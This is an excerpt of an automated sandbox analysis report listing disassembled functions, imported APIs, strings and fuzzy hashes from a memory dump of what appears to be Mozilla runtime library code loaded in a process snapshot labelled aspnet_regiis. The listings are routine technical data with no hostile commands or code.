GetLastError.KERNEL32(?,00000000,?,?,6C80E330,?,6C7BC059), ref: 6C7FAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C80E330,?,6C7BC059), ref: 6C7FAE3D

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 4e29a07e98e87aa38dd67af845d3c7aeb0c895fddd1191c95a13ece969e6365b
Instruction ID: d9b87f8ff48c20ee9b934e019e2f74a39f9044186a24d9ec810c7ccdd527ce57
Opcode Fuzzy Hash: 4e29a07e98e87aa38dd67af845d3c7aeb0c895fddd1191c95a13ece969e6365b
Instruction Fuzzy Hash: F63141B1A003159FDB10DF798D85AABB7F8EF48624F158839E85AD7701E734A805CBA1

Function 6C7F5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C80DCA0,?,?,?,6C7CE8B5,00000000), ref: 6C7F5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C7CE8B5,00000000), ref: 6C7F5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C7CE8B5,00000000), ref: 6C7F5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C7CE8B5,00000000), ref: 6C7F5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C7CE8B5,00000000), ref: 6C7F5FD6

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 3f75a24ec26d7f4b5640f991ecc03f1f08902c057033f1c38a9e2bdd28b91dc7
Instruction ID: 64b36e8d55b91e1dbbacab81335677d72e996323806cab4e781541fdc3f814c2
Opcode Fuzzy Hash: 3f75a24ec26d7f4b5640f991ecc03f1f08902c057033f1c38a9e2bdd28b91dc7
Instruction Fuzzy Hash: D03100343106018FE764CF29D9D8E26BBF5FF89319B6485A8E56687B95C731EC42CB80

Function 6C79B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C79B532
moz_xmalloc.MOZGLUE(?), ref: 6C79B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C79B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C79B57E
free.MOZGLUE(00000000), ref: 6C79B58F

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 2837f1cd43f4aac1408bc26a7fd6ceb2aaf014347677f1e9e3a60fa16f984723
Instruction ID: 6877c83039964add4cbe95d054846184e977e50e907f87965bab5c698eb1c97b
Opcode Fuzzy Hash: 2837f1cd43f4aac1408bc26a7fd6ceb2aaf014347677f1e9e3a60fa16f984723
Instruction Fuzzy Hash: 44210771A002059BDB108F68DD44BBABBF9FF45318F284139E818DB341E776E911C7A1

Function 6C79B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C79B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C79B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C79B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C79B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C79B849

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: d3307c0fa99e3c0d26240cee68a53e89c73a1969a7f92812fc5be9bd4b4293c2
Instruction ID: 3550d375d371ce39f2acf2bc342aecb012f8d24a443c4d1e8bbb1f8d70a51128
Opcode Fuzzy Hash: d3307c0fa99e3c0d26240cee68a53e89c73a1969a7f92812fc5be9bd4b4293c2
Instruction Fuzzy Hash: 28214BB0E0020A9FDF14DFA9D9859BEBBF4EF49318F148129E805A7701E731A944CBE1

Function 6C7F6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C7F6E78

Part of subcall function 6C7F6A10: InitializeCriticalSection.KERNEL32(6C81F618), ref: 6C7F6A68
Part of subcall function 6C7F6A10: GetCurrentProcess.KERNEL32 ref: 6C7F6A7D
Part of subcall function 6C7F6A10: GetCurrentProcess.KERNEL32 ref: 6C7F6AA1
Part of subcall function 6C7F6A10: EnterCriticalSection.KERNEL32(6C81F618), ref: 6C7F6AAE
Part of subcall function 6C7F6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C7F6AE1
Part of subcall function 6C7F6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C7F6B15
Part of subcall function 6C7F6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C7F6B65
Part of subcall function 6C7F6A10: LeaveCriticalSection.KERNEL32(6C81F618,?,?), ref: 6C7F6B83

MozFormatCodeAddress.MOZGLUE ref: 6C7F6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C7F6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C7F6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C7F6EFF

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 8f062ca6d21c09c7fb23461b44a662686aa666a3a68bfb81762ea2e03d788f0e
Instruction ID: 0bd62f9d8a1d45f6178c796ffe43abcb075b5504030fecc3729d787aae279ce4
Opcode Fuzzy Hash: 8f062ca6d21c09c7fb23461b44a662686aa666a3a68bfb81762ea2e03d788f0e
Instruction Fuzzy Hash: B421C4B1A0421A8FDB10CF29D9C9AAA77F9FF84308F044039E81997341DB309A59CF92

Function 6C7D0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C793DEF), ref: 6C7D0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C793DEF), ref: 6C7D0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C793DEF), ref: 6C7D0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C7D0D97, 6C7D0DBE
<jemalloc>, xrefs: 6C7D0D92, 6C7D0DB9

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 0542a0dfbff5b92af1c60869c7f675ce75a2ae994adb66b47334d831c90d1bd3
Instruction ID: d086a23084259250e9029a3c9a25348018d086919a2dc6f08ae5841dd7d6e792
Opcode Fuzzy Hash: 0542a0dfbff5b92af1c60869c7f675ce75a2ae994adb66b47334d831c90d1bd3
Instruction Fuzzy Hash: AAF0E97139429627E63416661F0BF6A269D67C2B28F719037F605DEEC0DA50F804C6A4

Function 6C7F5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C7F586C
CloseHandle.KERNEL32 ref: 6C7F5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C7F5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C7F58C9
free.MOZGLUE(00000000), ref: 6C7F58D3

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 28e147eefbbdaa24288719b5d3ad1fb6b2799dcc64aefd4e0b46592041295dde
Instruction ID: 875f7a00131a9cb6f79056402e111c2f1e8a6dd672167942cd32042ea1ee0836
Opcode Fuzzy Hash: 28e147eefbbdaa24288719b5d3ad1fb6b2799dcc64aefd4e0b46592041295dde
Instruction Fuzzy Hash: 3D014F717042079BDB20DF1AE94AA867BF9EBA332D7244235E429D2A11D7319915CFC1

Function 6C7E7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C7E75C4,?), ref: 6C7E762B

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C7E74D7,6C7F15FC,?,?,?), ref: 6C7E7644
GetCurrentThreadId.KERNEL32 ref: 6C7E765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C7E74D7,6C7F15FC,?,?,?), ref: 6C7E7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C7E74D7,6C7F15FC,?,?,?), ref: 6C7E7677

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 492ca0caa3a5a753a1b6297b916f3175685c351800e4c5f3faef68b1de961a96
Instruction ID: cbceac5bf819e7d85b1498f17a1a96028c33b1017e459808e55b2817b3cf1e30
Opcode Fuzzy Hash: 492ca0caa3a5a753a1b6297b916f3175685c351800e4c5f3faef68b1de961a96
Instruction Fuzzy Hash: BCF0C8B1E10746ABD7008F61C849675B7B8FFEA259F114326F90443B01E7B1A5D1C7D0

Function 6C7F1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C7F1800

Part of subcall function 6C7CCBE8: GetCurrentProcess.KERNEL32(?,6C7931A7), ref: 6C7CCBF1
Part of subcall function 6C7CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7931A7), ref: 6C7CCBFA

Part of subcall function 6C794290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C7D3EBD,6C7D3EBD,00000000), ref: 6C7942A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C7F18C7
Details, xrefs: 6C7F1925
name, xrefs: 6C7F1939

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: dd6c2a164a0e97fdb85873909403095c353d1e5278f5e7e34bb0a40354ac8eeb
Instruction ID: 2dba9dd66c50f5a5bd529b7d7c596754eead22e6f8ee047a8acc7e9c848c3d2c
Opcode Fuzzy Hash: dd6c2a164a0e97fdb85873909403095c353d1e5278f5e7e34bb0a40354ac8eeb
Instruction Fuzzy Hash: 4D71F3B0A003469FC714CF28D69869ABBF5FF45314F00466DE8295BF41D770A699CBE2

Function 6C7BD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C7CCBE8: GetCurrentProcess.KERNEL32(?,6C7931A7), ref: 6C7CCBF1
Part of subcall function 6C7CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7931A7), ref: 6C7CCBFA

EnterCriticalSection.KERNEL32(6C81E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7CD1C5), ref: 6C7BD4F2
LeaveCriticalSection.KERNEL32(6C81E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7CD1C5), ref: 6C7BD50B

Part of subcall function 6C79CFE0: EnterCriticalSection.KERNEL32(6C81E784), ref: 6C79CFF6
Part of subcall function 6C79CFE0: LeaveCriticalSection.KERNEL32(6C81E784), ref: 6C79D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7CD1C5), ref: 6C7BD52E
EnterCriticalSection.KERNEL32(6C81E7DC), ref: 6C7BD690
LeaveCriticalSection.KERNEL32(6C81E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7CD1C5), ref: 6C7BD751

Strings

MOZ_CRASH(), xrefs: 6C7BD4BB

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4172a1a7f04899009f53c06c00f7b0b2dfe1bbebaf6eaa669eb97c8a926200cf
Instruction ID: e6d45f0518abe40934da5869cb16db57201667baee964aa0e702349b22aec22a
Opcode Fuzzy Hash: 4172a1a7f04899009f53c06c00f7b0b2dfe1bbebaf6eaa669eb97c8a926200cf
Instruction Fuzzy Hash: A951D271A047028FD324CF28C29865AB7E1EB99318F54493ED599D7F89D770E804CB96

Function 6C7E4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C7E4721

Strings

-%llu, xrefs: 6C7E4733
profiler-paused, xrefs: 6C7E46E4
., xrefs: 6C7E476A

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: d33e0de9cb1b47ed894f7550fc0179d3adc6439e664cd262a13af33e06bcb3c3
Instruction ID: 03ca303fa73efbb2a4d6a444e269415f7b065b4e075fee889fa8c5732c78ce55
Opcode Fuzzy Hash: d33e0de9cb1b47ed894f7550fc0179d3adc6439e664cd262a13af33e06bcb3c3
Instruction Fuzzy Hash: 19415572B047089FCB08DFB9D95515EBBE5EB89348F10863EE855ABB41EB309804C782

Function 6C7E46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C7E4721

Part of subcall function 6C794410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C7D3EBD,00000017,?,00000000,?,6C7D3EBD,?,?,6C7942D2), ref: 6C794444

Strings

-%llu, xrefs: 6C7E4733
profiler-paused, xrefs: 6C7E46E4
., xrefs: 6C7E476A

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 0e74658b4294650cfa907cd632e7fc57c2e4d7717849f9a6009f74464c4e08b4
Instruction ID: b3041774029fcb3e34a1391a06a094d5ba7498538d6b66e1ad64f03e06a54ed0
Opcode Fuzzy Hash: 0e74658b4294650cfa907cd632e7fc57c2e4d7717849f9a6009f74464c4e08b4
Instruction Fuzzy Hash: C5312672F042085FCB08CFBDD99529EBBE6EB9C314F55853EE8059BB41EB7498048B90

Function 6C7EB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C794290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C7D3EBD,6C7D3EBD,00000000), ref: 6C7942A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C7EB127), ref: 6C7EB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7EB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C7EB4E4

Strings

pid:, xrefs: 6C7EB4DE

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 4deb10f1301564a8f6a9b2f0465ae6ce20997a13df271e498653e5fc0691463e
Instruction ID: 8fd9c7dba853e38234dffe0cd5668c6d5d207338b58cbdc3dab8550f86c86c5c
Opcode Fuzzy Hash: 4deb10f1301564a8f6a9b2f0465ae6ce20997a13df271e498653e5fc0691463e
Instruction Fuzzy Hash: BB310732A013099FDB10DFA9DA84AEEBBB5FF4A318F540539D82167A41D731B845CBE1

Function 6C7DE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7DE577
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DE584
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C7DE8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C7DE655
MOZ_PROFILER_STARTUP, xrefs: 6C7DE5A1, 6C7DE5CC, 6C7DE5FF, 6C7DE62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C7DE826, 6C7DE850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C7DE777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C7DE722, 6C7DE750, 6C7DE7A2

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: a42287ca0669e621cd50f7b6aab9e0d396a12c9d7ff4bd576b5f4de5cef2b3e6
Instruction ID: 79eed07f5852e77e088b31a83fd09284bf8874da018f313ac2d238dd0f396eba
Opcode Fuzzy Hash: a42287ca0669e621cd50f7b6aab9e0d396a12c9d7ff4bd576b5f4de5cef2b3e6
Instruction Fuzzy Hash: A711E13160425ADFCB20DF16C94AA6AFBF4FB9936CF410A28E84647F40C770A804CBD1

Function 6C7E0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C7E0CD5

Part of subcall function 6C7CF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C7CF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C7E0D40
free.MOZGLUE ref: 6C7E0DCB

Part of subcall function 6C7B5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7B5EDB
Part of subcall function 6C7B5E90: memset.VCRUNTIME140(6C7F7765,000000E5,55CCCCCC), ref: 6C7B5F27
Part of subcall function 6C7B5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7B5FB2

free.MOZGLUE ref: 6C7E0DDD
free.MOZGLUE ref: 6C7E0DF2

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 21fcdf366bc2b6ebfc95b11c9ff5bff236859424bc7c5b8dbf826a3d68b42a14
Instruction ID: f5a1b5834b4901808d1c18c4f792e04793c58c8d0d35a9fb601ba65c93ad2b41
Opcode Fuzzy Hash: 21fcdf366bc2b6ebfc95b11c9ff5bff236859424bc7c5b8dbf826a3d68b42a14
Instruction Fuzzy Hash: 61414C71A087808BD320CF29C68179EFBE5BFC9754F518A2EE8D887711DB70A445CB82

Function 6C7ECCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C7DDA31,00100000,?,?,00000000,?), ref: 6C7ECDA4

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

